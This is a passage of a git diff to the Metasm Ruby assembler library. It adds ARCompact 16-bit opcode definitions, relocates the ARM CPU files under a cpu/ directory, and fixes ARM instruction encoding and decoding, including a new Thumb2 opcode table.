+    add_artihm_op 'sub3', 0b00100, 0b011001
+
+    # WTF: same encoding as xor instructions
+    #add_artihm_op 'subs', 0b00100, 0b000111
+
+    add_artihm_op 'subsdw', 0b00101, 0b101001, :extended
+
+    add_artihm_op_reduce 'swap', 0b00101, 0b000000
+
+    addop32 'swi',  0b00100010011011110000000000111111, :setip, :stopexec
+    addop32 'sync', 0b00100011011011110000000000111111
+
+    #              0b00100bbb100010111BBBssssssSSSSSS
+    addop32 'tst', 0b00100000100010111000000000000000, :b, :s12
+    #              0b00100bbb110010111BBBCCCCCC0QQQQQ
+    addop32 'tst', 0b00100000110010111000000000000000, :bext, :cext, :ccond
+    #              0b00100bbb110010111BBBuuuuuu1QQQQQ
+    addop32 'tst', 0b00100000110010111000000000100000, :b, :u6, :ccond
+
+    add_artihm_op 'xor', 0b00100, 0b000111
+  end
+
+  # ARCompact 16-bit instructions
+  def init_arc_compact16
+    addop16 'abs_s', 0x7811, :cb, :cc
+    addop16 'add_s', 0x6018, :ca, :cb, :cc
+    addop16 'add_s', 0x7000, :cb, :cb2, :ch
+    addop16 'add_s', 0x6800, :cc, :cb, :cu3
+    addop16 'add_s', 0xe000, :cb, :cb2, :cu7
+
+    # same encoding as add_s b,b,h
+    #addop16 'add_s', 0x70c7, :cb, :cb2, :climm
+
+    addop16 'add_s', 0xc080, :cb, :sp, :cu5ee
+    addop16 'add_s', 0xc0a0, :sp, :sp2, :cu5ee
+    addop16 'add_s', 0xce00, :cr0, :gp, :cs9
+    addop16 'add1_s', 0x7814, :cb, :cb2, :cc
+    addop16 'add2_s', 0x7815, :cb, :cb2, :cc
+    addop16 'add3_s', 0x7816, :cb, :cb2, :cc
+    addop16 'and_s', 0x7804, :cb, :cb2, :cc
+    addop16 'asl_s', 0x7818, :cb, :cb2, :cc
+    addop16 'asl_s', 0x6810, :cc, :cb, :cu3
+    addop16 'asl_s', 0xb800, :cb, :cb2, :cu5
+    addop16 'asl_s', 0x781b, :cb, :cc
+    addop16 'asr_s', 0x781a, :cb, :cb2, :cc
+    addop16 'asr_s', 0x6818, :cc, :cb, :cu3
+    addop16 'asr_s', 0xb840, :cb, :cb2, :cu5
+    addop16 'asr_s', 0x781c, :cb, :cc
+    addop16 'b_s', 0xf000, :cdisps10, :setip, :stopexec
+    addop16 'beq_s', 0xf200, :cdisps10, :setip
+    addop16 'bne_s', 0xf400, :cdisps10, :setip
+    addop16 'bgt_s', 0xf600, :cdisps7, :setip
+    addop16 'bge_s', 0xf640, :cdisps7, :setip
+    addop16 'blt_s', 0xf680, :cdisps7, :setip
+    addop16 'ble_s', 0xf6c0, :cdisps7, :setip
+    addop16 'bhi_s', 0xf700, :cdisps7, :setip
+    addop16 'bhs_s', 0xf740, :cdisps7, :setip
+    addop16 'blo_s', 0xf780, :cdisps7, :setip
+    addop16 'bls_s', 0xf7c0, :cdisps7, :setip
+    addop16 'bclr_s', 0xb8a0, :cb, :cb2, :cu5
+    addop16 'bic_s', 0x7806, :cb, :cb2, :cc
+    addop16 'bl_s', 0xf800, :cdisps13, :setip, :saveip, :stopexec
+    addop16 'bmsk_s', 0xb8c0, :cb, :cb2, :cu5
+    addop16 'breq_s', 0xe800, :cb, :zero, :cdisps8, :setip
+    addop16 'brne_s', 0xe880, :cb, :zero, :cdisps8, :setip
+    addop16 'brk_s', 0x7fff
+    addop16 'bset_s', 0xb880, :cb, :cb2, :cu5
+    addop16 'btst_s', 0xb8e0, :cb, :cu5
+    addop16 'cmp_s', 0x7010, :cb, :ch
+    addop16 'cmp_s', 0xe080, :cb, :cu7
+
+    # encoded over cmp_s b,h
+    # addop16 'cmp_s', 0x70d7, :cb, :limm
+
+    addop16 'extb_s', 0x780f, :cb, :cc
+    addop16 'extw_s', 0x7810, :cb, :cc
+    addop16 'j_s', 0x7800, :@cb, :setip, :stopexec
+    addop16 'j_s.d', 0x7820, :@cb, :setip, :stopexec, :delay_slot
+    addop16 'j_s', 0x7ee0, :@blink, :setip, :stopexec
+    addop16 'j_s.d', 0x7fe0, :@blink, :setip, :stopexec, :delay_slot
+    addop16 'jeq_s', 0x7ce0, :@blink, :setip
+    addop16 'jne_s', 0x7de0, :@blink, :setip
+    addop16 'jl_s', 0x7840, :@cb, :setip, :saveip, :stopexec
+    addop16 'jl_s.d', 0x7860, :@cb, :setip, :saveip, :stopexec, :delay_slot
+    addop16 'ld_s', 0x6000, :ca, :@cbcc
+    addop16 'ldb_s', 0x6008, :ca, :@cbcc
+    addop16 'ldw_s', 0x6010, :ca, :@cbcc
+    addop16 'ld_s', 0x8000, :cc, :@cbu7
+    addop16 'ldb_s', 0x8800, :cc, :@cbu5
+    addop16 'ldw_s', 0x9000, :cc, :@cbu6
+    addop16 'ldw_s.x', 0x9800, :cc, :@cbu6
+    addop16 'ld_s', 0xc000, :cb, :@cspu7
+    addop16 'ldb_s', 0xc020, :cb, :@cspu7
+    addop16 'ld_s', 0xc800, :cr0, :@gps11
+    addop16 'ldb_s', 0xca00, :cr0, :@gps9
+    addop16 'ldw_s', 0xcc00, :cr0, :@gps10
+    addop16 'ld_s', 0xd000, :cb, :@pclu10
+
+    # FIXME: exact same encoding as asl_s instructions
+    #addop16 'lsl_s', 0x7818, :cb, :cb2, :cc
+    #addop16 'lsl_s', 0x6810, :cc, :cb, :cu3
+    #addop16 'lsl_s', 0xb800, :cb, :cb2, :cu5
+    #addop16 'lsl_s', 0x781d, :cb, :cc
+
+    addop16 'lsr_s', 0x7819, :cb, :cb2, :cc
+    addop16 'lsr_s', 0xb820, :cb, :cb2, :cu5
+    addop16 'lsr_s', 0x781d, :cb, :cc
+    addop16 'mov_s', 0x7008, :cb, :ch
+
+    # FIXME: same encoding as previous instruction
+    #addop16 'mov_s', 0x70cf, :cb, :limm
+
+    addop16 'mov_s', 0xd800, :cb, :cu8
+    addop16 'mov_s', 0x7018, :ch, :cb
+
+    # TODO seems to overlap with previous instruction
+    addop16 'mov_s', 0x70df, :zero, :cb
+    addop16 'mul64_s', 0x780c, :zero, :cb, :cc
+    addop16 'neg_s', 0x7813, :cb, :cc
+    addop16 'not_s', 0x7812, :cb, :cc
+    addop16 'nop_s',0x78e0
+    addop16 'unimp_s', 0x79e0
+    addop16 'or_s', 0x7805, :cb, :cb2, :cc
+    addop16 'pop_s', 0xc0c1, :cb
+    addop16 'pop_s', 0xc0d1, :blink
+    addop16 'push_s', 0xc0e1, :cb
+    addop16 'push_s', 0xc0f1, :blink
+    addop16 'sexb_s', 0x780d, :cb, :cc
+    addop16 'sexw_s', 0x780e, :cb, :cc
+    addop16 'st_s', 0xc040, :cb, :@cspu7
+    addop16 'stb_s', 0xc060, :cb, :@cspu7
+    addop16 'st_s', 0xa000, :cc, :@cbu7
+    addop16 'stb_s', 0xa800, :cc, :@cbu5
+    addop16 'stw_s', 0xb000, :cc, :@cbu6
+    addop16 'sub_s', 0x7802, :cb, :cb2, :cc
+    addop16 'sub_s', 0x6808, :cc, :cb, :cu3
+    addop16 'sub_s', 0xb860, :cb, :cb2, :cu5
+    addop16 'sub_s', 0xc1a0, :sp, :sp2, :cu5ee
+    addop16 'sub_s.ne', 0x78c0, :cb, :c2, :cb3
+    addop16 'trap_s', 0x781E, :cu6, :setip, :stopexec
+    addop16 'tst_s', 0x780b, :cb, :cc
+    addop16 'xor_s', 0x7807, :cb, :cb2, :cc
+  end
+
+end
+end
diff --git a/lib/metasm/metasm/arm.rb b/lib/metasm/metasm/cpu/arm.rb
similarity index 50%
rename from lib/metasm/metasm/arm.rb
rename to lib/metasm/metasm/cpu/arm.rb
index 2f1232645f..29f78f8e3f 100644
--- a/lib/metasm/metasm/arm.rb
+++ b/lib/metasm/metasm/cpu/arm.rb
@@ -3,10 +3,12 @@
 #
 #    Licence is LGPL, see LICENCE in the top-level directory
 
+class Metasm::ARM < Metasm::CPU
+end
 
 require 'metasm/main'
-require 'metasm/arm/parse'
-require 'metasm/arm/encode'
-require 'metasm/arm/decode'
-require 'metasm/arm/render'
-require 'metasm/arm/debug'
+require 'metasm/cpu/arm/parse'
+require 'metasm/cpu/arm/encode'
+require 'metasm/cpu/arm/decode'
+require 'metasm/cpu/arm/render'
+require 'metasm/cpu/arm/debug'
diff --git a/lib/metasm/metasm/arm/debug.rb b/lib/metasm/metasm/cpu/arm/debug.rb
similarity index 92%
rename from lib/metasm/metasm/arm/debug.rb
rename to lib/metasm/metasm/cpu/arm/debug.rb
index acfd579a46..6c115c47f4 100644
--- a/lib/metasm/metasm/arm/debug.rb
+++ b/lib/metasm/metasm/cpu/arm/debug.rb
@@ -4,7 +4,7 @@
 #    Licence is LGPL, see LICENCE in the top-level directory
 
 
-require 'metasm/arm/opcodes'
+require 'metasm/cpu/arm/opcodes'
 
 module Metasm
 class ARM
@@ -15,7 +15,7 @@ class ARM
     @dbg_register_flags ||= :flags
   end
 
-  def dbg_register_list 
+  def dbg_register_list
     @dbg_register_list ||= [:r0, :r1, :r2, :r3, :r4, :r5, :r6, :r7, :r8, :r9, :r10, :r11, :r12, :sp, :lr, :pc]
   end
 
diff --git a/lib/metasm/metasm/arm/decode.rb b/lib/metasm/metasm/cpu/arm/decode.rb
similarity index 92%
rename from lib/metasm/metasm/arm/decode.rb
rename to lib/metasm/metasm/cpu/arm/decode.rb
index 3dbf7a3053..dae5f1093e 100644
--- a/lib/metasm/metasm/arm/decode.rb
+++ b/lib/metasm/metasm/cpu/arm/decode.rb
@@ -3,7 +3,7 @@
 #
 #    Licence is LGPL, see LICENCE in the top-level directory
 
-require 'metasm/arm/opcodes'
+require 'metasm/cpu/arm/opcodes'
 require 'metasm/decode'
 
 module Metasm
@@ -38,7 +38,7 @@ class ARM
   end
 
   def decode_findopcode(edata)
-    return if edata.ptr >= edata.data.length
+    return if edata.ptr+4 > edata.length
     di = DecodedInstruction.new(self)
     val = edata.decode_imm(:u32, @endianness)
     di.instance_variable_set('@raw', val)
@@ -58,11 +58,11 @@ class ARM
     op = di.opcode
     di.instruction.opname = op.name
     val = di.instance_variable_get('@raw')
-    
+
     field_val = lambda { |f|
       r = (val >> @fields_shift[f]) & @fields_mask[f]
       case f
-      when :i16; Expression.make_signed(r, 16)
+      when :i12; Expression.make_signed(r, 12)
       when :i24; Expression.make_signed(r, 24)
       when :i8_12; ((r >> 4) & 0xf0) | (r & 0xf)
       when :stype; [:lsl, :lsr, :asr, :ror][r]
@@ -88,7 +88,8 @@ class ARM
       di.instruction.args << case a
       when :rd, :rn, :rm; Reg.new field_val[a]
       when :rm_rs; Reg.new field_val[:rm], field_val[:stype], Reg.new(field_val[:rs])
-      when :rm_is; Reg.new field_val[:rm], field_val[:stype], field_val[:shifti]*2
+      when :rm_is; Reg.new field_val[:rm], field_val[:stype], field_val[:shifti]
+      when :i12; Expression[field_val[a]]
       when :i24; Expression[field_val[a] << 2]
       when :i8_r
         i = field_val[:i8]
@@ -99,14 +100,14 @@ class ARM
         o = case a
         when :mem_rn_rm; Reg.new(field_val[:rm])
         when :mem_rn_i8_12; field_val[:i8_12]
-        when :mem_rn_rms; Reg.new(field_val[:rm], field_val[:stype], field_val[:shifti]*2)
+        when :mem_rn_rms; Reg.new(field_val[:rm], field_val[:stype], field_val[:shifti])
         when :mem_rn_i12; field_val[:i12]
         end
         Memref.new(b, o, field_val[:u], op.props[:baseincr])
       when :reglist
         di.instruction.args.last.updated = true if op.props[:baseincr]
         msk = field_val[a]
-        l = RegList.new((0..15).map { |i| Reg.new(i) if (msk & (1 << i)) > 0 }.compact)
+        l = RegList.new((0..15).map { |n| Reg.new(n) if (msk & (1 << n)) > 0 }.compact)
         l.usermoderegs = true if op.props[:usermoderegs]
         l
       else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}"
@@ -118,7 +119,7 @@ class ARM
   end
 
   def decode_instr_interpret(di, addr)
-    if di.opcode.args.include? :i24
+    if di.opcode.args[-1] == :i24
       di.instruction.args[-1] = Expression[di.instruction.args[-1] + addr + 8]
     end
     di
@@ -127,7 +128,7 @@ class ARM
   def backtrace_binding
     @backtrace_binding ||= init_backtrace_binding
   end
- 
+
   def init_backtrace_binding
     @backtrace_binding ||= {}
   end
@@ -140,9 +141,9 @@ class ARM
       else arg
       end
     }
-  
+
     if binding = backtrace_binding[di.opcode.name]
-      bd = binding[di, *a]
+      binding[di, *a]
     else
       puts "unhandled instruction to backtrace: #{di}" if $VERBOSE
       # assume nothing except the 1st arg is modified
@@ -154,7 +155,7 @@ class ARM
     end
 
   end
-  
+
   def get_xrefs_x(dasm, di)
     if di.opcode.props[:setip]
       [di.instruction.args.last]
diff --git a/lib/metasm/metasm/arm/encode.rb b/lib/metasm/metasm/cpu/arm/encode.rb
similarity index 68%
rename from lib/metasm/metasm/arm/encode.rb
rename to lib/metasm/metasm/cpu/arm/encode.rb
index 05f1393285..bf641d1088 100644
--- a/lib/metasm/metasm/arm/encode.rb
+++ b/lib/metasm/metasm/cpu/arm/encode.rb
@@ -4,15 +4,15 @@
 #    Licence is LGPL, see LICENCE in the top-level directory
 
 
-require 'metasm/arm/opcodes'
+require 'metasm/cpu/arm/opcodes'
 require 'metasm/encode'
 
 module Metasm
 class ARM
-  def encode_instr_op(section, instr, op)
+  def encode_instr_op(program, instr, op)
     base = op.bin
     set_field = lambda { |f, v|
-      v = v.reduce if v.kind_of? Expression
+      v = v.reduce if v.kind_of?(Expression)
       case f
       when :i8_12
         base = Expression[base, :|, [[v, :&, 0xf], :|, [[v, :<<, 4], :&, 0xf00]]]
@@ -42,7 +42,7 @@ class ARM
       when :rm_is
         set_field[:rm, arg.i]
         set_field[:stype, arg.stype]
-        set_field[:shifti, arg.shift/2]
+        set_field[:shifti, arg.shift]
       when :mem_rn_rm, :mem_rn_rms, :mem_rn_i8_12, :mem_rn_i12
         set_field[:rn, arg.base.i]
         case sym
@@ -61,17 +61,32 @@ class ARM
       when :reglist
         set_field[sym, arg.list.inject(0) { |rl, r| rl | (1 << r.i) }]
       when :i8_r
-        # XXX doublecheck this
         b = arg.reduce & 0xffffffff
-        r = (0..15).find { next true if b < 0x10 ; b = (b >> 2) | ((b & 3) << 30) }
+        r = (0..15).find {
+          next true if b < 0x100
+          b = ((b << 2) & 0xffff_ffff) | ((b >> 30) & 3)
+          false
+        }
+        raise EncodeError, "Invalid constant" if not r
         set_field[:i8, b]
         set_field[:rotate, r]
-      when :i16, :i24
+      when :i12, :i24
         val, mask, shift = arg, @fields_mask[sym], @fields_shift[sym]
       end
     }
 
-    Expression[base, :|, [[val, :<<, shift], :&, mask]].encode(:u32, @endianness)
+    if op.args[-1] == :i24
+      # convert label name for branch to relative offset
+      label = program.new_label('l_'+op.name)
+      target = val
+      target = target.rexpr if target.kind_of?(Expression) and target.op == :+ and not target.lexpr
+      val = Expression[[target, :-, [label, :+, 8]], :>>, 2]
+
+      EncodedData.new('', :export => { label => 0 }) <<
+      Expression[base, :|, [[val, :<<, shift], :&, mask]].encode(:u32, @endianness)
+    else
+      Expression[base, :|, [[val, :<<, shift], :&, mask]].encode(:u32, @endianness)
+    end
   end
 end
 end
diff --git a/lib/metasm/metasm/arm/main.rb b/lib/metasm/metasm/cpu/arm/main.rb
similarity index 98%
rename from lib/metasm/metasm/arm/main.rb
rename to lib/metasm/metasm/cpu/arm/main.rb
index ab9a36a3a5..d474e6702c 100644
--- a/lib/metasm/metasm/arm/main.rb
+++ b/lib/metasm/metasm/cpu/arm/main.rb
@@ -68,8 +68,5 @@ class ARM < CPU
     @opcode_list
   end
 end
-
-class ARM_THUMB < ARM
-end
 end
 
diff --git a/lib/metasm/metasm/cpu/arm/opcodes.rb b/lib/metasm/metasm/cpu/arm/opcodes.rb
new file mode 100644
index 0000000000..c535077a7b
--- /dev/null
+++ b/lib/metasm/metasm/cpu/arm/opcodes.rb
@@ -0,0 +1,323 @@
+#    This file is part of Metasm, the Ruby assembly manipulation suite
+#    Copyright (C) 2006-2009 Yoann GUILLOT
+#
+#    Licence is LGPL, see LICENCE in the top-level directory
+
+
+require 'metasm/cpu/arm/main'
+
+module Metasm
+class ARM
+  private
+
+  # ARM MODE
+
+  def addop(name, bin, *args)
+    args << :cond if not args.delete :uncond
+
+    suppl = nil
+    o = Opcode.new name, bin
+    args.each { |a|
+      # Should Be One fields
+      if a == :sbo16 ; o.bin |= 0b1111 << 16 ; next ; end
+      if a == :sbo12 ; o.bin |= 0b1111 << 12 ; next ; end
+      if a == :sbo8  ; o.bin |= 0b1111 <<  8 ; next ; end
+      if a == :sbo0  ; o.bin |= 0b1111 <<  0 ; next ; end
+
+      o.args << a if @valid_args[a]
+      o.props[a] = true if @valid_props[a]
+      o.props.update a if a.kind_of?(Hash)
+      # special args -> multiple fields
+      suppl ||= { :i8_r => [:i8, :rotate], :rm_is => [:rm, :stype, :shifti],
+        :rm_rs => [:rm, :stype, :rs], :mem_rn_rm => [:rn, :rm, :rsx, :u],
+        :mem_rn_i8_12 => [:rn, :i8_12, :u],
+        :mem_rn_rms => [:rn, :rm, :stype, :shifti, :i],
+        :mem_rn_i12 => [:rn, :i12, :u]
+      }[a]
+    }
+
+    args.concat suppl if suppl
+
+    args.each { |a| o.fields[a] = [@fields_mask[a], @fields_shift[a]] if @fields_mask[a] }
+
+    @opcode_list << o
+  end
+
+  def addop_data_s(name, op, a1, a2, *h)
+    addop name, op | (1 << 25), a1, a2, :i8_r, :rotate, *h
+    addop name, op, a1, a2, :rm_is, *h
+    addop name, op | (1 << 4), a1, a2, :rm_rs, *h
+  end
+  def addop_data(name, op, a1, a2)
+    addop_data_s name, op << 21, a1, a2
+    addop_data_s name+'s', (op << 21) | (1 << 20), a1, a2, :cond_name_off => name.length
+  end
+
+  def addop_load_puw(name, op, *a)
+    addop name, op, {:baseincr => :post}, :rd, :u, *a
+    addop name, op | (1 << 24), :rd, :u, *a
+    addop name, op | (1 << 24) | (1 << 21), {:baseincr => :pre}, :rd, :u, *a
+  end
+  def addop_load_lsh_o(name, op)
+    addop_load_puw name, op, :rsz, :mem_rn_rm, {:cond_name_off => 3}
+    addop_load_puw name, op | (1 << 22), :mem_rn_i8_12, {:cond_name_off => 3}
+  end
+  def addop_load_lsh
+    op = 9 << 4
+    addop_load_lsh_o 'strh',  op | (1 << 5)
+    addop_load_lsh_o 'ldrd',  op | (1 << 6)
+    addop_load_lsh_o 'strd',  op | (1 << 6) | (1 << 5)
+    addop_load_lsh_o 'ldrh',  op | (1 << 20) | (1 << 5)
+    addop_load_lsh_o 'ldrsb', op | (1 << 20) | (1 << 6)
+    addop_load_lsh_o 'ldrsh', op | (1 << 20) | (1 << 6) | (1 << 5)
+  end
+
+  def addop_load_puwt(name, op, *a)
+    addop_load_puw name, op, *a
+    addop name+'t', op | (1 << 21), {:baseincr => :post, :cond_name_off => name.length}, :rd, :u, *a
+  end
+  def addop_load_o(name, op, *a)
+    addop_load_puwt name, op, :mem_rn_i12, *a
+    addop_load_puwt name, op | (1 << 25), :mem_rn_rms, *a
+  end
+  def addop_load(name, op)
+    addop_load_o name, op
+    addop_load_o name+'b', op | (1 << 22), :cond_name_off => name.length
+  end
+
+  def addop_ldm_go(name, op, *a)
+    addop name, op, :rn, :reglist, {:cond_name_off => 3}, *a
+  end
+  def addop_ldm_w(name, op, *a)
+    addop_ldm_go name, op, *a		# base reg untouched
+    addop_ldm_go name, op | (1 << 21), {:baseincr => :post}, *a	# base updated
+  end
+  def addop_ldm_s(name, op)
+    addop_ldm_w name, op			# transfer regs
+    addop_ldm_w name, op | (1 << 22), :usermoderegs	# transfer usermode regs
+  end
+  def addop_ldm_p(name, op)
+    addop_ldm_s name+'a', op		# target memory included
+    addop_ldm_s name+'b', op | (1 << 24)	# target memory excluded, transfer starts at next addr
+  end
+  def addop_ldm_u(name, op)
+    addop_ldm_p name+'d', op		# transfer made downward
+    addop_ldm_p name+'i', op | (1 << 23)	# transfer made upward
+  end
+  def addop_ldm(name, op)
+    addop_ldm_u name, op
+  end
+
+  # ARMv6 instruction set, aka arm7/arm9
+  def init_arm_v6
+    @opcode_list = []
+
+    [:baseincr, :cond, :cond_name_off, :usermoderegs, :tothumb, :tojazelle
+    ].each { |p| @valid_props[p] = true }
+
+    [:rn, :rd, :rm, :crn, :crd, :crm, :cpn, :reglist, :i24, :rm_rs, :rm_is,
+     :i8_r, :mem_rn_rm, :mem_rn_i8_12, :mem_rn_rms, :mem_rn_i12
+    ].each { |p| @valid_args[p] = true }
+
+    @fields_mask.update :rn => 0xf, :rd => 0xf, :rs => 0xf, :rm => 0xf,
+      :crn => 0xf, :crd => 0xf, :crm => 0xf, :cpn => 0xf,
+      :rnx => 0xf, :rdx => 0xf, :rsx => 0xf,
+      :shifti => 0x1f, :stype => 3, :rotate => 0xf, :reglist => 0xffff,
+      :i8 => 0xff, :i12 => 0xfff, :i24 => 0xff_ffff, :i8_12 => 0xf0f,
+      :u => 1, :mask => 0xf, :sbo => 0xf, :cond => 0xf
+
+    @fields_shift.update :rn => 16, :rd => 12, :rs => 8, :rm => 0,
+      :crn => 16, :crd => 12, :crm => 0, :cpn => 8,
+      :rnx => 16, :rdx => 12, :rsx => 8,
+      :shifti => 7, :stype => 5, :rotate => 8, :reglist => 0,
+      :i8 => 0, :i12 => 0, :i24 => 0, :i8_12 => 0,
+      :u => 23, :mask => 16, :sbo => 12, :cond => 28
+
+    addop_data 'and', 0,  :rd, :rn
+    addop_data 'eor', 1,  :rd, :rn
+    addop_data 'xor', 1,  :rd, :rn
+    addop_data 'sub', 2,  :rd, :rn
+    addop_data 'rsb', 3,  :rd, :rn
+    addop_data 'add', 4,  :rd, :rn
+    addop_data 'adc', 5,  :rd, :rn
+    addop_data 'sbc', 6,  :rd, :rn
+    addop_data 'rsc', 7,  :rd, :rn
+    addop_data_s 'tst', (8  << 21) | (1 << 20), :rdx, :rn
+    addop_data_s 'teq', (9  << 21) | (1 << 20), :rdx, :rn
+    addop_data_s 'cmp', (10 << 21) | (1 << 20), :rdx, :rn
+    addop_data_s 'cmn', (11 << 21) | (1 << 20), :rdx, :rn
+    addop_data 'orr', 12, :rd, :rn
+    addop_data 'or',  12, :rd, :rn
+    addop_data 'mov', 13, :rd, :rnx
+    addop_data 'bic', 14, :rd, :rn
+    addop_data 'mvn', 15, :rd, :rnx
+
+    addop 'b',  0b1010 << 24, :setip, :stopexec, :i24
+    addop 'bl', 0b1011 << 24, :setip, :stopexec, :i24, :saveip
+    addop 'bkpt', (0b00010010 << 20) | (0b0111 << 4)		# other fields are available&unused, also cnd != AL is undef
+    addop 'blx', 0b1111101 << 25, :setip, :stopexec, :saveip, :tothumb, :h, :uncond, :i24
+    addop 'blx', (0b00010010 << 20) | (0b0011 << 4), :setip, :stopexec, :saveip, :tothumb, :rm, :sbo16, :sbo12, :sbo8
+    addop 'bx',  (0b00010010 << 20) | (0b0001 << 4), :setip, :stopexec, :rm, :sbo16, :sbo12, :sbo8
+    addop 'bxj',  (0b00010010 << 20) | (0b0010 << 4), :setip, :stopexec, :rm, :tojazelle, :sbo16, :sbo12, :sbo8
+
+    addop_load 'str', (1 << 26)
+    addop_load 'ldr', (1 << 26) | (1 << 20)
+    addop_load_lsh
+    addop_ldm 'stm', (1 << 27)
+    addop_ldm 'ldm', (1 << 27) | (1 << 20)
+    # TODO aliases (http://www.davespace.co.uk/arm/introduction-to-arm/stack.html)
+    # fd = full descending  stmfd/ldmfd = stmdb/ldmia
+    # ed = empty descending stmed/ldmed = stmda/ldmib
+    # fa = full ascending   stmfa/ldmfa = stmib/ldmda
+    # ea = empty ascending  stmea/ldmea = stmia/ldmdb
+
+    # TODO mrs, [qus]add/sub*
+    addop 'clz',   (0b00010110 << 20) | (0b0001 << 4), :rd, :rm, :sbo16, :sbo8
+    addop 'ldrex', (0b00011001 << 20) | (0b1001 << 4), :rd, :rn, :sbo8, :sbo0
+    addop 'strex', (0b00011000 << 20) | (0b1001 << 4), :rd, :rm, :rn, :sbo8
+    addop 'rev',   (0b01101011 << 20) | (0b0011 << 4), :rd, :rm, :sbo16, :sbo8
+    addop 'rev16', (0b01101011 << 20) | (0b1011 << 4), :rd, :rm, :sbo16, :sbo8
+    addop 'revsh', (0b01101111 << 20) | (0b1011 << 4), :rd, :rm, :sbo16, :sbo8
+    addop 'sel',   (0b01101000 << 20) | (0b1011 << 4), :rd, :rn, :rm, :sbo8
+
+  end
+
+
+
+  # THUMB2 MODE
+
+  def addop_t(name, bin, *args)
+    o = Opcode.new name, bin
+    args.each { |a|
+      o.args << a if @valid_args[a]
+      o.props[a] = true if @valid_props[a]
+      o.props.update a if a.kind_of?(Hash)
+    }
+
+    args.each { |a| o.fields[a] = [@fields_mask[a], @fields_shift[a]] if @fields_mask[a] }
+
+    @opcode_list_t << o
+  end
+
+  def init_arm_thumb2
+    @opcode_list_t = []
+    @valid_props_t = {}
+    @valid_args_t = {}
+    @fields_mask_t = {}
+    @fields_shift_t = {}
+
+    [:i16, :i16_3_8, :i16_rd].each { |p| @valid_props_t[p] = true }
+    [:i5, :rm, :rn, :rd].each { |p| @valid_args_t[p] = true }
+    @fields_mask_t.update :i5 => 0x1f, :i3 => 7, :i51 => 0x5f,
+      :rm => 7, :rn => 7, :rd => 7, :rdn => 7, :rdn8 => 7
+    @fields_shift_t.update :i5 => 6, :i3 => 6, :i51 => 3,
+      :rm => 6, :rn => 3, :rd => 0, :rdn => 0, :rdn8 => 8
+
+    addop_t 'mov', 0b000_00 << 11, :rd, :rm
+    addop_t 'lsl', 0b000_00 << 11, :rd, :rm, :i5
+    addop_t 'lsr', 0b000_01 << 11, :rd, :rm, :i5
+    addop_t 'asr', 0b000_10 << 11, :rd, :rm, :i5
+
+    addop_t 'add', 0b000_1100 << 9, :rd, :rn, :rm
+    addop_t 'add', 0b000_1110 << 9, :rd, :rn, :i3
+    addop_t 'sub', 0b000_1101 << 9, :rd, :rn, :rm
+    addop_t 'sub', 0b000_1111 << 9, :rd, :rn, :i3
+
+    addop_t 'mov', 0b001_00 << 10, :rdn8, :i8
+    addop_t 'cmp', 0b001_01 << 10, :rdn8, :i8
+    addop_t 'add', 0b001_10 << 10, :rdn8, :i8
+    addop_t 'sub', 0b001_11 << 10, :rdn8, :i8
+
+    addop_t 'and', (0b010000 << 10) | ( 0 << 6), :rdn, :rm
+    addop_t 'eor', (0b010000 << 10) | ( 1 << 6), :rdn, :rm	# xor
+    addop_t 'lsl', (0b010000 << 10) | ( 2 << 6), :rdn, :rm
+    addop_t 'lsr', (0b010000 << 10) | ( 3 << 6), :rdn, :rm
+    addop_t 'asr', (0b010000 << 10) | ( 4 << 6), :rdn, :rm
+    addop_t 'adc', (0b010000 << 10) | ( 5 << 6), :rdn, :rm
+    addop_t 'sbc', (0b010000 << 10) | ( 6 << 6), :rdn, :rm
+    addop_t 'ror', (0b010000 << 10) | ( 7 << 6), :rdn, :rm
+    addop_t 'tst', (0b010000 << 10) | ( 8 << 6), :rdn, :rm
+    addop_t 'rsb', (0b010000 << 10) | ( 9 << 6), :rdn, :rm
+    addop_t 'cmp', (0b010000 << 10) | (10 << 6), :rdn, :rm
+    addop_t 'cmn', (0b010000 << 10) | (11 << 6), :rdn, :rm
+    addop_t 'orr', (0b010000 << 10) | (12 << 6), :rdn, :rm	# or
+    addop_t 'mul', (0b010000 << 10) | (13 << 6), :rdn, :rm
+    addop_t 'bic', (0b010000 << 10) | (14 << 6), :rdn, :rm
+    addop_t 'mvn', (0b010000 << 10) | (15 << 6), :rdn, :rm
+
+    addop_t 'add', 0b010001_00 << 8, :rdn, :rm, :dn
+    addop_t 'cmp', 0b010001_01 << 8, :rdn, :rm, :dn
+    addop_t 'mov', 0b010001_10 << 8, :rdn, :rm, :dn
+
+    addop_t 'bx',  0b010001_110 << 7, :rm
+    addop_t 'blx', 0b010001_111 << 7, :rm
+
+    addop_t 'ldr',   0b01001 << 11, :rd, :pc_i8
+    addop_t 'str',   0b0101_000 << 9, :rd, :rn, :rm
+    addop_t 'strh',  0b0101_001 << 9, :rd, :rn, :rm
+    addop_t 'strb',  0b0101_010 << 9, :rd, :rn, :rm
+    addop_t 'ldrsb', 0b0101_011 << 9, :rd, :rn, :rm
+    addop_t 'ldr',   0b0101_100 << 9, :rd, :rn, :rm
+    addop_t 'ldrh',  0b0101_101 << 9, :rd, :rn, :rm
+    addop_t 'ldrb',  0b0101_110 << 9, :rd, :rn, :rm
+    addop_t 'ldrsh', 0b0101_111 << 9, :rd, :rn, :rm
+
+    addop_t 'str',  0b01100 << 11, :rd, :rn, :i5
+    addop_t 'ldr',  0b01101 << 11, :rd, :rn, :i5
+    addop_t 'strb', 0b01110 << 11, :rd, :rn, :i5
+    addop_t 'ldrb', 0b01111 << 11, :rd, :rn, :i5
+    addop_t 'strh', 0b10000 << 11, :rd, :rn, :i5
+    addop_t 'ldrh', 0b10001 << 11, :rd, :rn, :i5
+    addop_t 'str',  0b10010 << 11, :rd, :sp_i8
+    addop_t 'ldr',  0b10011 << 11, :rd, :sp_i8
+    addop_t 'adr',  0b10100 << 11, :rd, :pc, :i8
+    addop_t 'add',  0b10101 << 11, :rd, :sp, :i8
+
+    # 0b1011 misc
+    addop_t 'add',  0b1011_0000_0 << 7, :sp, :i7
+    addop_t 'sub',  0b1011_0000_1 << 7, :sp, :i7
+    addop_t 'sxth', 0b1011_0010_00 << 6, :rd, :rn
+    addop_t 'sxtb', 0b1011_0010_01 << 6, :rd, :rn
+    addop_t 'uxth', 0b1011_0010_10 << 6, :rd, :rn
+    addop_t 'uxtb', 0b1011_0010_11 << 6, :rd, :rn
+    addop_t 'cbz',  0b1011_0001 << 8, :rd, :i51
+    addop_t 'cbnz', 0b1011_1001 << 8, :rd, :i51
+    addop_t 'push', 0b1011_0100 << 8, :rlist
+    addop_t 'push', 0b1011_0101 << 8, :rlist
